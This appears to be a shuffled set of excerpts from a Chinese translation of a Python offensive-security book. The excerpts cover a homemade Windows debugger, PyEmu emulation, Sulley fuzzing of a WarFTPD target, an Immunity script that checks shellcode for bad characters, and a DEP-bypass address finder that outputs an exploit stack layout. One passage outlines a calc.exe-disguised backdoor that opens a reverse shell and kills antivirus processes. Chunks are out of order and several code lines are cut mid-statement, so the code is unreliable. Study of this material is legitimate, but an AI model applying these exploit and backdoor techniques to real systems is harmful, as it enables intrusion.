TH32CS_SNAPALL 这几个模块有用,对 TH32CS_SNAPTHREAD 可是没什么用的哦（后面 有说明）。当 CreateToolhelp32Snapshot()调用成功，就会返回一个快照对象的句柄，被接下 来的函数调以便搜集更多的数据。 一旦我们从快照中获得了线程的列表，我们就能用 Thread32First()枚举它们了。函数原型如下： BOOL WINAPI Thread32First( HANDLE hSnapshot, LPTHREADENTRY32 lpte ); hSnapshot 就 是 上 面 通 过 CreateToolhelp32Snapshot() 获 得 镜 像 句 柄 ， lpte 指 向 一 个 THREADENTRY32 结构（必须初始化过） 。这个结构在 Thread32First()在调用成功后自动填 充，其中包含了被发现的第一个线程的相关信息。结构定义如下： typedef struct THREADENTRY32{ DWORD dwSize; DWORD cntUsage; DWORD th32ThreadID; DWORD th32OwnerProcessID; LONG tpBasePri; LONG tpDeltaPri; DWORD dwFlags; }; 在这个结构中我们感兴趣的是 dwSize, th32ThreadID, 和 th32OwnerProcessID 3 个参数。 dwSize 必须在 Thread32First()调用之前初始化，只要把值设置成 THREADENTRY32 结构的 大小就可以了。th32ThreadID 是我们当前发现的这个线程的 TID，这个参数可以被前面说过 的 OpenThread() 函数调用以打开此线程，进行别的操作。 th32OwnerProcessID 填充了当前 线 程 所 属 进 程 的 PID 。 为 了 确 定 线 程 是 否 属 于 我 们 调 试 的 目 标 进 程 ， 需 要 将 th32OwnerProcessID 的值和目标进程对比，相等则说明这个线程是我们正在调试的。一旦我 们获得了第一个线程的信息，我们就能通过调用 Thread32Next()获取快照中的下一个线程条 目。它的参数和 Thread32First()一样。循环调用 Thread32Next()直到列表的末端。"},
    {"text": "这次实验的程序就是 addnum.exe，主要功能就是从命令行中接收两个参数，然后相 加，再输出结果，代码使用 C++编写，可从 http://www.nostarch.com/ghpython.htm.下载。 /*addnum.cpp*/ #include <stdlib.h> #include <stdio.h> #include <windows.h> int add_number( int num1, int num2 ) { int sum; sum = num1 + num2; return sum; } int main(int argc, char* argv[]) { int num1, num2; int return_value; if( argc < 2 ) { printf(\"You need to enter two numbers to add.\\n\"); printf(\"addnum.exe num1 num2\\n\"); return 0; } num1 = atoi(argv[1]); num2 = atoi(argv[2]); return_value = add_number( num1, num2 ); printf(\"Sum of %d + %d = %d\",num1, num2, return_value ); return 0; } 程 序 将 命 令 行 传 入 的 参 数 转 换 成 整 数 ， 然 后 调 用 add_number 函 数 相 加 。"},
    {"text": "我 们将 add_number 函数作为我们的仿真对象，因为它够简单而且结果也很容易验证，作为我们使 用 PyEmu 的起点是个不二选择。 在深入 PyEmu 使用之前，让我们看看 add_number 的反汇编代码。"},
    {"text": "var_4= dword ptr -4 # sum variable arg_0= dword ptr 8 # int num1 arg_4= dword ptr 0Ch # int num2 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] add eax, [ebp+arg_4] mov [ebp+var_4], eax mov eax, [ebp+var_4] mov esp, ebp pop ebp retn Listing 12-1: add_number 的反汇编代码 var_4，arg_0，arg_4 分别是参数在栈中的位置，从 C++的反汇编代码中可以清楚的看 出，整个函数的执行流程，和参数的调用关系。"},
    {"text": "我们将使用 PyEmu 仿真整个函数，也就是 上面列出的汇编代码，同时设置 arg_0 和 arg_4 为我们需要的任何数，最后 retn 返回的时候， 捕获 EAX 的值，也就是函数的返回值。"},
    {"text": "12.3.1 函数仿真 开始脚本编写，第一步确认 PyEmu 的路径设置正确。 #addnum_function_call.py import sys sys.path.append(\"C:\\\\PyEmu\") sys.path.append(\"C:\\\\PyEmu\\\\lib\") from PyEmu import * 设置好库路径之后，就要开始函数仿真部分的编写了。"},
    {"text": "#addnum_function_call.py ... emu = IDAPyEmu() # Load the binary's code segment code_start = SegByName(\".text\") code_end = SegEnd( code_start ) while code_start <= code_end: emu.set_memory( code_start, GetOriginalByte(code_start), size=1 ) code_start += 1 print \"[*] Finished loading code section into memory.\" # Load the binary's data segment data_start = SegByName(\".data\") data_end = SegEnd( data_start ) while data_start <= data_end: emu.set_memory( data_start, GetOriginalByte(data_start), size=1 ) data_start += 1 print \"[*] Finished loading data section into memory.\" 使用任何仿真器方法之前都必须实例化一个 IDAPyEmu 对象。"},
    {"text": "#addnum_function_call.py ... # Set EIP to start executing at the function head emu.set_register(\"EIP\", 0x00401000) # Set up the ret handler emu.set_mnemonic_handler(\"ret\", ret_handler) # Set the function parameters for the call emu.set_stack_argument(0x8, 0x00000001, name=\"arg_0\") emu.set_stack_argument(0xc, 0x00000002, name=\"arg_4\") # There are 10 instructions in this function emu.execute( steps = 10 ) print \"[*] Finished function emulation run.\" 首先将 EIP 指向到函数头，0x00401000，PyEmu 仿真器将从这里开始执行指令。"},
    {"text": "#addnum_function_call.py import sys sys.path.append(\"C:\\\\PyEmu\") sys.path.append(\"C:\\\\PyEmu\\\\lib\") from PyEmu import * def ret_handler(emu, address): num1 = emu.get_stack_argument(\"arg_0\") num2 = emu.get_stack_argument(\"arg_4\") sum = emu.get_register(\"EAX\") print \"[*] Function took: %d, %d and the result is %d.\" % (num1, n return True emu = IDAPyEmu() # Load the binary's code segment code_start = SegByName(\".text\") code_end = SegEnd( code_start ) while code_start <= code_end: emu.set_memory( code_start, GetOriginalByte(code_start), size=1 ) code_start += 1 print \"[*] Finished loading code section into memory.\" # Load the binary's data segment data_start = SegByName(\".data\") data_end = SegEnd( data_start ) while data_start <= data_end: emu.set_memory( data_start, GetOriginalByte(data_start), size=1 ) data_start += 1 print \"[*] Finished loading data section into memory.\" # Set EIP to start executing at the function head emu.set_register(\"EIP\", 0x00401000) # Set up the ret handler emu.set_mnemonic_handler(\"ret\", ret_handler) # Set the function parameters for the call emu.set_stack_argument(0x8, 0x00000001, name=\"arg_0\") emu.set_stack_argument(0xc, 0x00000002, name=\"arg_4\") # There are 10 instructions in this function emu.execute( steps = 10 ) print \"[*] Finished function emulation run.\" ret 指令处理函数简单的设置成检索出栈参数和 EAX 的值， 最后再将它们打印出来。"},
    {"text": "输出结果将如下： [*] Finished loading code section into memory. [*] Finished loading data section into memory. [*] Function took 1, 2 and the result is 3. [*] Finished function emulation run. Listing 12-2: IDAPyEmu 仿真函数的输出 很好很简单！"},
    {"text": "某一天，当你遇到一个上千行的函数的时候，相信这种方 法能帮你从无数的分支，循环还有可怕的指针中拯救出来，它们节省的不仅仅是事件，更是 你的信心。"},
    {"text": "序 Listing 9-2: 我们要额外 fuzz 的 FTP 命令 命令列表虽然不够详细，但还扩大了测试的范围，现在让我们动手把它们写成 protocol description 9.3.2 创建 FTP 协议框架 学以致用，学以致用啊！ #ftp.py from sulley import * s_initialize(\"user\") s_static(\"USER\") s_delim(\" \") s_string(\"justin\") s_static(\"\\r\\n\") s_initialize(\"pass\") s_static(\"PASS\") s_delim(\" \") s_string(\"justin\") s_static(\"\\r\\n\") s_initialize(\"cwd\") s_static(\"CWD\") s_delim(\" \") s_string(\"c: \") s_static(\"\\r\\n\") s_initialize(\"dele\") s_static(\"DELE\") s_delim(\" \") s_string(\"c:\\\\test.txt\") s_static(\"\\r\\n\") s_initialize(\"mdtm\") s_static(\"MDTM\") s_delim(\" \") s_string(\"C:\\\\boot.ini\") s_static(\"\\r\\n\") s_initialize(\"mkd\") s_static(\"MKD\") s_delim(\" \") s_string(\"C:\\\\TESTDIR\") s_static(\"\\r\\n\") protocol skeleton 完成之后，让我们开始创建 Sulley 会话，把所有的请求信息连起来， 同时启动网络嗅探和客户端调试。 9.3.3 Sulley 会话 Sulley 会话包含了请求数据整合，网络数据包的捕捉，进程调试，崩溃报告，和虚拟机 控制。先让我们定义一个会话文件，然后详细的分析每个部分。 #ftp_session.py from sulley import * from requests import ftp # this is our ftp.py file def receive_ftp_banner(sock): sock.recv(1024) sess = sessions.session(session_filename=\"audits/warftpd.sess target = sessions.target(\"192.168.244.133\", 21) target.netmon = pedrpc.client(\"192.168.244.133\", 26001) target.procmon = pedrpc.client(\"192.168.244.133\", 26002) target.procmon_options = { \"proc_name\" : \"war-ftpd.exe\" } # Here we tie in the receive_ftp_banner function which receives # a socket.socket() object from Sulley as its only parameter sess.pre_send = receive_ftp_banner sess.add_target(target) sess.connect(s_get(\"user\")) sess.connect(s_get(\"user\"), s_get(\"pass\")) sess.connect(s_get(\"pass\"), s_get(\"cwd\")) sess.connect(s_get(\"pass\"), s_get(\"dele\")) sess.connect(s_get(\"pass\"), s_get(\"mdtm\")) sess.connect(s_get(\"pass\"), s_get(\"mkd\")) sess.fuzz() receive_ftp_banner()是必须的，因为每个 FTP 服务器在客户端连接上的时候，都会发送 banner(标识)。我们将它和 sess.pre_send 绑定起来，这样 Sulley 发送 fuzzing 数据前的时候 就会先接收 FTP banner。和 receive_ftp_banner 一样，pre_send 也只接收一个由 Sulley 传递的 sock 对象。第一步我们创建一个会话文件，用于记录当前 fuzzer 的状态，同时控制 fuzzing 的启动和停止。第二部定义攻击的目标，包括 IP 地址和端口号。这里设置成 192.168.244.133 端口 21（这是我们运行 WarFTPD 虚拟机的 IP）。第三步，设置网络嗅探的端口为 26001， IP 地址和 FTP 服务器的地址一样，这个端口用于接受 Sulley 发出的命令。第四步，设置调 试器监听的端口 26002，这个端口用于接收 Sulley 发出的调试命令。procmon_options 选项 告诉调试器我们关注的进程是 war-ftpd.exe。第六步，在会话中加入定义好的目标对象。第 七步，将 FTP 请求指令有序的组织好。先是认证，然后将操作指令和需要的密码成对传入。 最后启动 Sulley 开始 fuzzing。 现在我们定义好了会话，组织好了请求指令。只剩下网络和监控脚本的设置了。当这一 切都完成的时候，就可以去捕捉我们的猎物了。"},
    {"text": "这一切都由 PyEmu 提供 的帮助函数实现，使用它们能让我们的这个逆向工作变得更简单，无论是操作执行流程，改 变寄存器值还是更新内存等等。"},
    {"text": "12.2.4 执行操作 PyEmu 的执行过程由一个函数控制，execute()。 原型如下： execute( steps=1, start=0x0, end=0x0 ) 总共三个参数，如果一个都没有提供，就从 PyEmu 当前的地址开始执行。"},
    {"text": "内存操作由 get_memory() 和 set_memory()完成。 get_memory( address, size ) set_memory( address, value, size=0 ) get_memory()函数接收 2 个参数:address 为要查询的地址，size 为要获得数据的大小。 set_memoey()负责写入数据，address 为写入的地址，value 为写入的值，size 为写入数据的 大小。"},
    {"text": "set_stack_argument( offset, value, name=\"\" ) get_stack_argument( offset=0x0, name=\"\" ) set_stack_variable( offset, value, name=\"\" ) get_stack_variable( offset=0x0, name=\"\" ) set_stack_argument()的 offset 相对与 ESP，用于对传入函数的参数进行改变。"},
    {"text": "get_stack_argument()通过 offset 指定的相对于 ESP 的位移 获得参数值，或者通过指定的 name(前提是在 set_stack_argument 中提供了)获得。 使用方式 如下： set_stack_argument( 0x8, 0x12345678, name=\"arg_0\" ) get_stack_argument( 0x8 ) get_stack_argument( \"arg_0\" ) set_stack_variable()和 get_stack_variable()的操作也类似除了 offset 是相对于 EBP(如果允 许的话)以外，因为它们负责操作函数的局部变量。"},
    {"text": "PyEmu 中有 8 个主要处理函数： register 处理函数, library 处理函数, exception 处理函数, instruction 处理函数, opcode 处理函数, memory 处理 函数, high-level memory 处理函数还有 program counter 处理函数。"},
    {"text": "安装方式如下： set_register_handler( register, register_handler_function ) set_register_handler( \"eax \", eax_register_handler ) 安装好之后，就需要定义处理函数了，原型如下： def register_handler_function( emu, register, value, type ): 当处理函数被调用的时候，所有的参数都又 PyEmu 传入，第一个参数就是 PyEmu 实例 首，接着是寄存器名，以及寄存器的值，type 告诉我们这次操作是读还是写。"},
    {"text": "12.2.6.2 Library 处理函数 Library handle 库处理函数，能让我们捕捉所有的外部库调用，在它们被调用进程序之 前就截获它们，这样就能很方便的修改外部库函数的调用方式以及返回值。"},
    {"text": "安装方式如下： set_library_handler( function, library_handler_function ) set_library_handler( \"CreateProcessA\", create_process_handler ) set_library_handler(\"LoadLibraryA\", loadlibrary) 库处理函数的原型如下： def library_handler_function( emu, library, address ): 第一个参数就是 PyEmu 的实例。"},
    {"text": "安装方式如下： set_exception_handler( \"GP\", gp_exception_handler ) Exception 处理函数原型如下： def gp_exception_handler( emu, exception, address ): 同样，第一个参数是 PyEmu 实例，exception 为异常代码，address 为异常发生的地址。"},
    {"text": "set_instruction_handler( instruction, instruction_handler ) set_instruction_handler( \"cmp\", cmp_instruction_handler ) Instruction 处理函数原型如下： def cmp_instruction_handler( emu, instruction, op1, op2, op3 ): 第一个参数照旧是 PyEmu 实例，instruction 则为被执行的指令，另外三个都是可能的运 算对象。"},
    {"text": "12.2.6.5 Opcode 处理函数 Opcode handlers 操作码处理函数和指令处理函数非常相似，任何一个特定的操作码被执 行的时候，都会调用 Opcode handlers。"},
    {"text": "每一个指令 都有可能有不同的操作码这依赖于它们的运算对象，例如，PUSH EAX 时操作码是 0x50， 而 PUSH 0x70 时操作码是 0x6A，合起来整个指令的操作码就是 0x6A70,如下所示： 50 PUSH EAX 6A 70"},
    {"text": "序 8.3.2 Automated Static Analysis 通 过 对 二 进 制 文 件 进 行 Automated Static Analysis( 自 动 化 的 静 态 分 析 ) ， 能 够 帮 助 bughunter 更高效的找出目标代码的弱点。跟踪容易出错的函数（例如 strcpy） ，并且监视函 数的执行过程，会有很好的效果。还有很多别的优点，比如跟踪内部的内存拷贝操作，忽略 不必要的错误处理代码，等等。对目标将程序了解的越多，找出 bug 的机会就越大。 将这些功能加入我们创建的 fuzzer，会很大的提高我们今后的工作效率。在我们设计 fuzzer 的时候扩展性是非常重要的，在以后不断的功能扩张中，你会感谢今天花在前端设计 上的时间，是多么的值得。接下来让我们看看一个基于 Python 的 fuzzing 框架（Pedram Amini ,Aaron Portnoy of TippingPoint） 。之后我们会深入介绍我的一个 fuzzer 作品 ioctlizer，用于 查找使用了 I/O 控制代码的 Windows 驱动中的漏洞。 序 7.2 邪恶的代码 现在让我们本着学以致用的目的，用注入搞点好玩的东西。我们将创造一个后门程序， 将它命名为一个系统中正规的程序（比如 calc.exe）。只要用户执行了 calc.exe，我们的后门 就能获得系统的控制权。cacl.exe 执行后，就会在执行后门代码的同时，执行原先的 calc.exe （之前我们的后门命名成 calc.exe，将原来的 cacl.exe 移到别的地方）。当 cacl.exe 执行后， 通过注入，反弹一个 shell 到我们的机器上，最后我们再注入 kill 代码，杀死前面运行的程 序。 等一等！我们难道不能直接结束 calc.exe 吗？简单地说，可以。但是终止进程对于后门 来说是一项很关键的技术。比如，你能通过枚举进程，找出杀毒软件和防火墙的的进程，然 后简单的杀死。或者你也能，通过上一章学到的注入技术，在离开前杀死进程。技术不止一 种，选择合适的是最重要的。 最后我们还会介绍如何将 Python 脚本编译成一个单独的 Windows 可执行文件，以及如 何偷偷的加载 DLL。接下来先看看如何将 DLL 隐藏起来。 序 python process_monitor.py Output: ERR> USAGE: process_monitor.py <-c|--crash_bin FILENAME> filename to serialize crash bin class to [-p|--proc_name NAME] process name to search for and attach to [-i|--ignore_pid PID] ignore this PID when searching for the target process [-l|--log_level LEVEL] log level (default 1), increase for more verbosity [--port PORT] TCP port to bind this agent to 如下启动进程监控。 python process_monitor.py -c C:\\warftpd.crash -p war-ftpd.exe 提示:我们已经设置了默认的监听端口 26002，所以不用-p 选项。 接下来看看 network_monitor.py。在这之前需要安装以下的库：WinPcap 4.0, pcapy, mpacket。 python network_monitor.py Output: ERR> USAGE: network_monitor.py <-d|--device DEVICE #> device to sniff on (see list below) [-f|--filter PCAP FILTER] BPF filter string [-P|--log_path PATH] log directory to store pcaps to [-l|--log_level LEVEL] log level (default 1), increase for more verbosity [--port PORT] TCP port to bind this agent to Network Device List: [0] \\Device\\NPF_GenericDialupAdapter [1] {83071A13-14A7-468C-B27E-24D47CB8E9A4} 192.168.244.133 在这里我们需要使用第一个网络接口。如下启动网络监控。 python network_monitor.py -d 1 -f \"src or dst port 21\" -P C:\\pcaps\\ 提示：在启动之前必须先建立 C:\\pcaps 目录。 一切就绪，开始猎食。"},
    {"text": "脚本调用参数如下： ./code od _injector.py <PI <P D to inject> <PI <P D to kill> 传入合适的参数，线程创建成功的话，就会返回线程 ID。"},
    {"text": "序 9.3.4 网络和进程监控 Sulley 的优点之一就是能非常好的跟踪 fuzz 期间的数据交互，以及目标系统的崩溃信 息。这样我们就能在第一时间内分析出引起目标崩溃的数据包，然后快速的开发出 exploit。 在 Sulley 的主目录下可以找到 process_monitor.py 和 network_monitor.py 两个脚本，他 们分别负责网络监控和进程监控。 序 _____________________________________________________________________ int my_socks(color_one, color_two, color_three); _____________________________________________________________________ Function Call in x86 Assembly"},
    {"text": "举个例子，如果我们从一个 strcpy()调用中发现了缓冲区溢出，我们的利用代码就不能包含 NULL 字 符(0x00).因 为 strcpy() 一 遇到 NULL 字 符就会停止拷贝数据。"},
    {"text": "一般情况下，如果你获得了 EIP 的控制权限，然后 shellcode 抛出访问为例或者 crash 目 标，接着完成自己的伟大使命（反弹后门，转到另一个进程继续破坏，别的你能想得到的脏 活累活）。"},
    {"text": "我们将 shellcode 进行简单的 ASCII 编码，然后一个字节一个 字节的比较内存中的 shellcode 和我们发送 shellcode 有无差别，如果有一个字符不一样，说 明它没有通过软件的过滤。"},
    {"text": "#badchar.py from immlib import * def main(args): imm = Debugger() bad_char_found = False # First argument is the address to begin our search address = int(args[0],16) # Shellcode to verify shellcode = \"<<COPY AND PASTE YOUR SHELLCODE HERE>>\" shellcode_length = len(shellcode) debug_shellcode = imm.readMemory( address, shellcode_length ) debug_shellcode = debug_shellcode.encode(\"HEX\") imm.log(\"Address: 0x%08x\" % address) imm.log(\"Shellcode Length : %d\" % length) imm.log(\"Attack Shellcode: %s\" % canvas_shellcode[:512]) imm.log(\"In Memory Shellcode: %s\" % id_shellcode[:512]) # Begin a byte-by-byte comparison of the two shellcode buffers count = 0 while count <= shellcode_length: if debug_shellcode[count] != shellcode[count]: imm.log(\"Bad Char Detected at offset %d\" % count) bad_char_found = True break count += 1 if bad_char_found: imm.log(\"[*****] \") imm.log(\"Bad character found: %s\" % debug_shellcode[count]) imm.log(\"Bad character original: %s\" % shellcode[count]) imm.log(\"[*****] \") return \"[*] !badchar finished, check Log window.\" 在这个脚本中，我们只是从 Immunity 库中调用了 readMemory()函数。"},
    {"text": "现在你需要将你的 shellcode 做 ASCII 编码(如果你有字节 0xEB 0x09， 编码后后你的字符串将看着像 EB09），将代码贴入脚本，并且如下运行： !badchar <Address to Begin Search> 在 我 们 前 面 的 例 子 中 ， 我 们 将 从 ESP+0x4 地 址 (0x00AEFD4C) 寻 找 ， 所 以 要 在 PyCommand 执行如下命令: !badchar 0x00AEFD4c 我们的脚本在发现危险字符串的时候将立刻发出警戒，由此大大减少花在调试 shellcode 崩溃时间。"},
    {"text": "NTSTATUS NtSetInformationProcess( IN HANDLE hProcessHandle, IN PROCESS_INFORMATION_CLASS ProcessInformationClass, IN PVOID ProcessInformation, IN ULONG ProcessInformationLength ); 为了使进程的 DEP 保护失效，需要将 NtSetInformationProcess()的 ProcessInformationClass 函数设置成 ProcessExecuteFlags (0x22)，将 ProcessInformation 参数 设置 MEM_EXECUTE_OPTION_ENABLE (0x2)。"},
    {"text": "问题是在 shellcode 中调用这个函数将会出 现 NULL 字符。 解决的方法是找到一个正常调用了 NtSetInformationProcess()的函数，再将 我们的 shellcode 拷贝到这个函数里。"},
    {"text": "7C91D3F8 . 3C 01 CMP AL,1 7C91D3FA . 6A 02 PUSH 2 7C91D3FC . 5E POP ESI 7C91D3FD . 0F84 B72A0200 JE ntdll.7C93FEBA ... 7C93FEBA > 8975 FC MOV DWORD PTR SS:[EBP-4],ESI 7C93FEBD .^E9 41D5FDFF JMP ntdll.7C91D403 ... 7C91D403 > 837D FC 00 CMP DWORD PTR SS:[EBP-4],0 7C91D407 . 0F85 60890100 JNZ ntdll.7C935D6D ... 7C935D6D > 6A 04 PUSH 4 7C935D6F . 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4] 7C935D72 . 50 PUSH EAX 7C935D73 . 6A 22 PUSH 22 7C935D75 . 6A FF PUSH -1 7C935D77 . E8 B188FDFF CALL ntdll.ZwSetInformationProcess 上面的代码就是调用 NtSetInformationProces 的必要过程。"},
    {"text": "从这里开始变得有趣，4 被第一个压入栈，EBP-4（始终是 2!）被加载进 EAX， 然后压入栈，接着 0x22 被压入，最后-1 被压入（-1 表示禁止当前进程的 DEP）。"},
    {"text": "#findantidep.py import immlib import immutils def tAddr(addr): buf = immutils.int2str32_swapped(addr) return \"\\\\x%02x\\\\x%02x\\\\x%02x\\\\x%02x\" % ( ord(buf[0]) , ord(buf[1]), ord(buf[2]), ord(buf[3]) ) DESC=\"\"\"Find address to bypass software DEP\"\"\" def main(args): imm=immlib.Debugger() addylist = [] mod = imm.getModule(\"ntdll.dll\") if not mod: return \"Error: Ntdll.dll not found!\" # Finding the First ADDRESS ret = imm.searchCommands(\"MOV AL,1\\nRET\") if not ret: return \"Error: Sorry, the first addy cannot be found\" for a in ret: addylist.append( \"0x%08x: %s\" % (a[0], a[2]) ) ret = imm.comboBox(\"Please, choose the First Address [sets AL to 1]\", addylist) firstaddy = int(ret[0:10], 16) imm.Log(\"First Address: 0x%08x\" % firstaddy, address = firstaddy) # Finding the Second ADDRESS ret = imm.searchCommandsOnModule( mod.getBase(), \"CMP AL,0x1\\n PUSH 0x2\\n POP ESI\\n\" ) if not ret: return \"Error: Sorry, the second addy cannot be found\" secondaddy = ret[0][0] imm.Log( \"Second Address %x\" % secondaddy , address= secondaddy ) # Finding the Third ADDRESS ret = imm.inputBox(\"Insert the Asm code to search for\") ret = imm.searchCommands(ret) if not ret: return \"Error: Sorry, the third address cannot be found\" addylist = [] for a in ret: addylist.append( \"0x%08x: %s\" % (a[0], a[2]) ) ret = imm.comboBox(\"Please, choose the Third return Address [jumps to shellcode]\", addylist) thirdaddy = int(ret[0:10], 16) imm.Log( \"Third Address: 0x%08x\" % thirdaddy, thirdaddy ) imm.Log( 'stack = \"%s\\\\xff\\\\xff\\\\xff\\\\xff%s\\\\xff\\\\xff\\\\xff\\\\xff\" + \"A\" * 0x54 + \"%s\" + shellcode ' %\\ ( tAddr(firstaddy), tAddr(secondaddy), tAddr(thirdaddy) ) ) 首先寻找指令\"MOV AL,1\\nRET\",然后在地址列表中选择一个。"},
    {"text": "Figure 5-4: 第一步，选择一个地址，并设置 AL 为 1 Figure 5-5:输入需要搜索的指令 Figure 5-6: 选择一个返回地址 最后看到的输出 i 结果如下: stack = \"\\x75\\x24\\x01\\x01\\xff\\xff\\xff\\xff\\x56\\x31\\x91\\x7c\\xff\\xff\\xff\\xff\" + \"A\" * 0x54 + \"\\x75\\x24\\x01\\x01\" + shellcode 将生成的代码和你的 shellcdoe 组合之后，你就能将 exploit 移植到具有反 DEP 的系统。"},
    {"text": "序 PyCommands 在 Immunity 中执行 Python 的方法即使用 PyCommands。PyCommands 就是一个个 python 脚本文件，存放在 Immunity 安装目录的 PyCommands 文件夹里。每个 python 脚本都执行一 个任务（hooking，静态分析等待），相当于一个 PyCommand。每个 PyCommand 都有一个 特定的结构。以下就是一个基础的模型: from immlib import * def main(args): # Instantiate a immlib.Debugger instance imm = Debugger() return \"[*] PyCommand Executed!\" PyCommand 有两个必备条件。一个 main()函数，只接收一个参数（由所有参数组成的 python 列表） 。另一个必备条件是在函数执行完成的时候必须返回一个字符串，最后更新在 调试器主界面的状态栏。执行命令之前必须在命令前加一个感叹号。 !<scriptname> 5.2.2"},
    {"text": "BOOL WINAPI GetThreadContext( HANDLE hThread, LPCONTEXT lpContext ); BOOL WINAPI SetThreadContext( HANDLE hThread, LPCONTEXT lpContext ); hThread 参数是从 OpenThread() 返回的线程句柄，lpContext 指向一个 CONTEXT 结构， 其中存储了所有寄存器的值。"},
    {"text": "CONTEXT 非常重要，定义如下： typedef struct CONTEXT { DWORD ContextFlags; DWORD Dr0; DWORD Dr1; DWORD Dr2; DWORD Dr3; DWORD Dr6; DWORD Dr7; FLOATING_SAVE_AREA FloatSave; DWORD SegGs; DWORD SegFs; DWORD SegEs; DWORD SegDs; DWORD Edi; DWORD Esi; DWORD Ebx; DWORD Edx; DWORD Ecx; DWORD Eax; DWORD Ebp; DWORD Eip; DWORD SegCs; DWORD EFlags; DWORD Esp; DWORD SegSs; BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION]; }; 如你说见所有的寄存器都在这个列表中了，包括调试寄存器和段寄存器。"},
    {"text": "#my_debugger.py class debugger(): ... def open_thread (self, thread_id): h_thread = kernel32.OpenThread(THREAD_ALL_ACCESS, None, thread_id) if h_thread is not None: return h_thread else: print \"[*] Could not obtain a valid thread handle.\" return False def enumerate_threads(self): thread_entry = THREADENTRY32() 36 Chapter 3 thread_list = [] snapshot = kernel32.CreateToolhelp32Snapshot(TH32CS _SNAPTHREAD, self.pid) if snapshot is not None: # You have to set the size of the struct # or the call will fail thread_entry.dwSize = sizeof(thread_entry) success = kernel32.Thread32First(snapshot, byref(thread_entry)) while success: if thread_entry.th32OwnerProcessID == self.pid: thread_list.append(thread_entry.th32ThreadID) success = kernel32.Thread32Next(snapshot, byref(thread_entry)) kernel32.CloseHandle(snapshot) return thread_list else: return False def get_thread_context (self, thread_id): context = CONTEXT() context.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS # Obtain a handle to the thread h_thread = self.open_thread(thread_id) if kernel32.GetThreadContext(h_thread, byref(context)): kernel32.CloseHandle(h_thread) return context else: return False 调试器已经扩展成功，让我们更新测试模块试验下新功能。 #my_test.py import my_debugger debugger = my_debugger.debugger() pid = raw_input(\"Enter the PID of the process to attach to: \") debugger.attach(int(pid)) list = debugger.enumerate_threads() # For each thread in the list we want to # grab the value of each of the registers Building a Windows Debugger 37 for thread in list: thread_context = debugger.get_thread_context(thread) # Now let's output the contents of some of the registers print \"[*] Dumping registers for thread ID: 0x%08x\" % thread print \"[**] EIP: 0x%08x\" % thread_context.Eip print \"[**] ESP: 0x%08x\" % thread_context.Esp print \"[**] EBP: 0x%08x\" % thread_context.Ebp print \"[**] EAX: 0x%08x\" % thread_context.Eax print \"[**] EBX: 0x%08x\" % thread_context.Ebx print \"[**] ECX: 0x%08x\" % thread_context.Ecx print \"[**] EDX: 0x%08x\" % thread_context.Edx print \"[*] END DUMP\" debugger.detach() 当你运行测试代码，你将看到如清单 3-1 显示的数据。 Enter the PID of the process to attach to: 4028 [*] Dumping registers for thread ID: 0x00000550 [**] EIP: 0x7c90eb94 [**] ESP: 0x0007fde0 [**] EBP: 0x0007fdfc [**] EAX: 0x006ee208 [**] EBX: 0x00000000 [**] ECX: 0x0007fdd8 [**] EDX: 0x7c90eb94 [*] END DUMP [*] Dumping registers for thread ID: 0x000005c0 [**] EIP: 0x7c95077b [**] ESP: 0x0094fff8 [**] EBP: 0x00000000 [**] EAX: 0x00000000 [**] EBX: 0x00000001 [**] ECX: 0x00000002 [**] EDX: 0x00000003 [*] END DUMP [*] Finished debugging. Exiting... Listing 3-1:每个线程的 CPU 寄存器值 太酷了 ! 我们现在能够在任何时候查询所有寄存器的状态了。"},
    {"text": "3.3 实现调试事件处理 为了让我们的调试器能够针对特定的事件采取相应的行动，我们必须给所有调试器能够 捕捉到的调试事件，编写处理函数。"},
    {"text": "DEBUG_EVENT 定义如下: typedef struct DEBUG_EVENT { DWORD dwDebugEventCode; DWORD dwProcessId; DWORD dwThreadId; union { EXCEPTION_DEBUG_INFO Exception; CREATE_THREAD_DEBUG_INFO CreateThread; CREATE_PROCESS_DEBUG_INFO CreateProcessInfo; EXIT_THREAD_DEBUG_INFO ExitThread; EXIT_PROCESS_DEBUG_INFO ExitProcess; LOAD_DLL_DEBUG_INFO LoadDll; UNLOAD_DLL_DEBUG_INFO UnloadDll; OUTPUT_DEBUG_STRING_INFO DebugString; RIP_INFO RipInfo; }u; }; 在这个结构中有很多有用的信息。"},
    {"text": "u 里的变量由 dwDebugEventCode 决定，一一对应如下： Event Code Event Code Value Union u Value 0x1 EXCEPTION_DEBUG_EVENT u.Exception 0x2 CREATE_THREAD_DEBUG_EVENT u.CreateThread 0x3 CREATE_PROCESS_DEBUG_EVENT u.CreateProcessInfo 0x4 EXIT_THREAD_DEBUG_EVENT u.ExitThread 0x5 EXIT_PROCESS_DEBUG_EVENT u.ExitProcess 0x6 LOAD_DLL_DEBUG_EVENT u.LoadDll 0x7 UNLOAD_DLL_DEBUG_EVENT u.UnloadDll 0x8 OUPUT_DEBUG_STRING_EVENT u.DebugString 0x9 RIP_EVENT u.RipInfo Table 3-1:调试事件 通过观察 dwDebugEventCode 的值，再通过上面的表就能找到与之相对应的存储在 u 里 的变量。"},
    {"text": "#my_debugger.py ... class debugger(): def __init__(self): self.h_process = None self.pid = None self.debugger_active = False self.h_thread = None self.context = None ... def get_debug_event(self): debug_event = DEBUG_EVENT() continue_status= DBG_CONTINUE if kernel32.WaitForDebugEvent(byref(debug_event),INFINITE # Let's obtain the thread and context information self.h_thread = self.open_thread(debug_event.dwThread self.context = self.get_thread_context(self.h_thread print \"Event Code: %d Thread ID: %d\" % (debug_event.dwDebugEventCode, debug_event.dwThre kernel32.ContinueDebugEvent( debug_event.dwProcessId, debug_event.dwThreadId, continue_status ) #my_test.py import my_debugger debugger = my_debugger.debugger() pid = raw_input(\"Enter the PID of the process to attach to: \") debugger.attach(int(pid)) debugger.run() debugger.detach() 如果你用的是 calc.exe，输出将如下所示： Enter the PID of the process to attach to: 2700 Event Code: 3 Thread ID: 3976 Event Code: 6 Thread ID: 3976 Event Code: 6 Thread ID: 3976 Event Code: 6 Thread ID: 3976 Event Code: 6 Thread ID: 3976 Event Code: 6 Thread ID: 3976 Event Code: 6 Thread ID: 3976 Event Code: 6 Thread ID: 3976 Event Code: 6 Thread ID: 3976 Event Code: 6 Thread ID: 3976 Event Code: 2 Thread ID: 3912 Event Code: 1 Thread ID: 3912 Event Code: 4 Thread ID: 3912 Listing 3-2: 当附加到 cacl.exe 时的事件代码 